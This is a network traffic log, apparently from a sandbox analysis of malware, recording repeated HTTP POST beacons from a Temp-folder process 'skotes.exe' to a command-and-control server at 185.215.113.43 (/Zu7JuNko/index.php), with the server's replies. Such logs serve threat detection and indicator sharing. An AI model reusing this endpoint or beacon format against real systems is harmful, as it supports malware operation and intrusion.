Oct 3, 2024 03:29:38.286609888 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:29:38.997243881 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49874	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:40.630120993 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:29:41.364291906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49875	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:42.882394075 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:29:43.594736099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49876	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:45.366158009 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:29:46.055007935 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49877	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:47.570487976 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:29:48.301172972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49878	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:49.926343918 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:29:50.614957094 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49879	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:52.130954981 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:29:52.865923882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49880	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:54.505429029 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:29:55.212265015 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49881	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:56.724056959 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:29:57.434582949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49882	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:29:59.069755077 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:29:59.803802013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:29:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49883	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:01.316873074 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:30:02.013617992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49884	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:03.644728899 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:30:04.356940031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49885	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:05.880054951 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:30:06.590475082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49886	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:08.224158049 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:30:09.501487970 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 3, 2024 03:30:09.501549006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 3, 2024 03:30:09.501604080 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49887	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:11.025172949 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:30:12.613033056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 3, 2024 03:30:12.613126993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 3, 2024 03:30:12.613212109 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 3, 2024 03:30:12.613271952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49888	185.215.113.43	80	6364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:14.241559982 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:30:14.968892097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49889	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:16.490906000 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:30:17.205513954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49890	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:18.836339951 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:30:19.545131922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49891	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:21.074171066 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:30:21.789504051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49893	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:23.427449942 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:30:24.146836996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49894	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:25.666471004 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:30:26.358247042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:30:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49895	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:30:27.989212036 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
